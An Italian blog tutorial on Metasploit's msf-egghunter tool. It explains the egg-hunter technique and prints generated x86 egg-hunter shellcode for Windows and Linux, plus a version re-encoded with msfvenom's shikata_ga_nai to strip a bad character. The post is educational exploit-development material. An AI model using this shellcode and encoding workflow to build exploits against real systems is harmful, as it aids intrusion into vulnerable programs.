Vai al contenuto
Home » Diamo un’occhiata a msf-egghunter

Diamo un’occhiata a msf-egghunter

Lo scorso febbraio, su The Armored
Code
ho scritto
un post che parlava di msf-egghunter, lo strumento distribuito insieme a
Metasploit per scrivere un egg hunter.

Lo scorso anno, per la certificazione SLAE, mi ero già
imbattuto

in questa tecnica che ho trovato immediatamente affascinante.

Stiamo parlando di sviluppo di un exploit. Avete, in qualche modo, forzato la
modifica del flusso di esecuzione del vostro programma vulnerabile (attraverso
la sovrascrittura dell’EIP o attraverso la Structure Exception Handler, nel
caso il target sia Windows) e siete nel punto dove dovete piazzare il vostro
shellcode. A questo punto sorge un problema, il buffer nel quale siete è troppo
piccolo per contenere una bind shell, una reverse shell o qualsiasi cosa utile
a darvi un prompt.

Che fare? Semplice; andate a studiare il paper di Matt Miller, “Safetly
Searching Process Virtual Address
Space”
e poi
tornate qui.

Fatto? Molto bene. L’idea alla base di questa tecnica è quella di piazzare il
nostro shellcode in un punto qualsiasi della memoria del processo da attaccare.
Lo shellcode avrà in testa una sequenza di 4 byte, ripetuta 2 volte per evitare
falsi positivi, che sarà interpretata come un indicatore di inizio per il
nostro payload. Il codice dell’egg-hunter, che andremo a piazzare nel piccolo
buffer di cui parlavamo prima, avrà il compito di cercare nella memoria del
processo vittima, i 4 byte di inizio payload e, una volta trovati, far saltare
l’esecuzione a quel punto in memoria.

Per la SLAE
scrissi un
semplice codice assembler che realizzava un egg-hunter. Oggi vediamo uno
strumento messo a disposizione dal framework Metasploit:
msf-egghunter.

[root:~/src/hacking/toolbox/utils]# msf-egghunter -h
Usage: msf-egghunter [options]
Example: msf-egghunter -f python -e W00T

Specific options:
    -f, --format <String>            See --list-formats for a list of supported output formats
    -b, --badchars <String>          (Optional) Bad characters to avoid for the egg
    -e, --egg <String>               The egg (Please give 4 bytes)
    -p, --platform <String>          (Optional) Platform
        --startreg <String>          (Optional) The starting register
        --forward                    (Optional) To search forward
        --depreg <String>            (Optional) The DEP register
        --depdest <String>           (Optional) The DEP destination
        --depsize <Integer>          (Optional) The DEP size
        --depmethod <String>         (Optional) The DEP method to use (virtualprotect/virtualalloc/copy/copy_size)
    -a, --arch <String>              (Optional) Architecture
        --list-formats               List all supported output formats
    -v, --var-name <name>            (Optional) Specify a custom variable name to use for certain output formats
    -h, --help                       Show this message

Semplice utilizzo del tool

L’utilizzo base di msf-egghunter è quello di scegliere la piattaforma (windows
o linux) e l’architettura (a 32 o 64 bit). Unico parametro mandatorio sarà
l’EGG da utilizzare per marcare l’inizio del nostro payload; useremo la stringa
‘BEEF’ allo scopo.

[root:~/src/hacking/toolbox/utils]# msf-egghunter -p windows -a x86 -f python -e BEEF
buf =  ""
buf += "x66x81xcaxffx0fx42x52x6ax02x58xcdx2ex3c"
buf += "x05x5ax74xefxb8x42x45x45x46x89xd7xafx75"
buf += "xeaxafx75xe7xffxe7"

[root:~/src/hacking/toolbox/utils]# msf-egghunter -p linux -a x86 -f python -e BEEF
buf =  ""
buf += "xfcx66x81xc9xffx0fx41x6ax43x58xcdx80x3c"
buf += "xf2x74xf1xb8x42x45x45x46x89xcfxafx75xec"
buf += "xafx75xe9xffxe7"

Evitare i bad characters

Quando stiamo scrivendo un exploit, siamo nella condizione di non poter
utilizzare alcuni caratteri nel nostro payload. Magari a causa di una routine
di filtro, alcuni codici ascii utilizzati nel nostro payload potrebbero non
essere gestiti correttamente dal programma vittima e non copiati nelle proprie
zone di memoria.

Vanno quindi rimossi e sembra che il parametro ‘-b’ sia lì proprio per quello
peccato che, almeno nella versione di Metasploit 5.0.6-dev, non funzioni.
Supponiamo io debba creare uno shellcode per Linux, architettura a 32 bit e
voglia usare sempre ‘BEEF’ come egg.

[root:~/src/hacking/toolbox/utils]# msf-egghunter -p linux -a x86 -f python -e BEEF -b 'x66'
buf =  ""
buf += "xfcx66x81xc9xffx0fx41x6ax43x58xcdx80x3c"
buf += "xf2x74xf1xb8x42x45x45x46x89xcfxafx75xec"
buf += "xafx75xe9xffxe7"

Come si può vedere, il nostro carattere ‘x66’ è ancora lì al suo posto.
Quindi? Quindi chiedo aiuto a msfvenom, strumento principe per la generazione
dei payload e che è in grado di fare delle trasformazioni ad un shellcode
arbitrario passato attraverso lo standard input.

[root:~/src/hacking/toolbox/utils]# msf-egghunter -p linux -a x86 -e BEEF -f raw | msfvenom -p - --platform linux -a x86 -b 'x66' -f python

Attempting to read payload from STDIN...
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 58 (iteration=0)
x86/shikata_ga_nai chosen with final size 58
Payload size: 58 bytes
Final size of python file: 292 bytes
buf =  ""
buf += "xd9xe9xbdx34x49xadxb8xd9x74x24xf4x5ex29"
buf += "xc9xb1x08x83xc6x04x31x6ex16x03x6ex16xe2"
buf += "xc1xb5xcbx39xe0xb9x1bx7bx98x06x7cxb6xdc"
buf += "xb5x8ex3cx2dx7dx2cxf8x88x38x38xcdxbdxb0"
buf += "xd6x7dxb4xd3xd8x65"

Ed ecco qui, il carattere ‘x66’ è sparito. Quello che vi consiglio è di usare
msfvenom per tutto quello che riguarda l’encoding e la trasformazione del
vostro egg-hunter in pipe ad msf-egghunter.

Il cuore

Il cuore del codice di msf-egghunter è nella libreria rex-exploit sviluppata da Rapid7, il cui codice è disponibile qui su GitHub.

Dal codice possiamo leggere nei commenti i miglioramenti fatti rispetto al
lavoro di Miller. Interessante il codice per [disabilitare il
DEP]((https://www.corelan.be/index.php/2010/06/16/exploit-writing-tutorial-part-10-chaining-dep-with-rop-the-rubikstm-cube/)
scritto da corelandc0d3r.

Off by one

Per avere un esempio pratico, vi do il link di questo exploit che ho scritto
per Base64 Decoder 1.1.2 mostra
msf-egghunter in azione. A me questa tecnica piace un sacco, è divertente
pensare al processo vittima che cerca in memoria il codice per bucarsi, lo
esegue e ti restituisce una shell.

Enjoy it!

Lascia un commento

Il tuo indirizzo email non sarà pubblicato.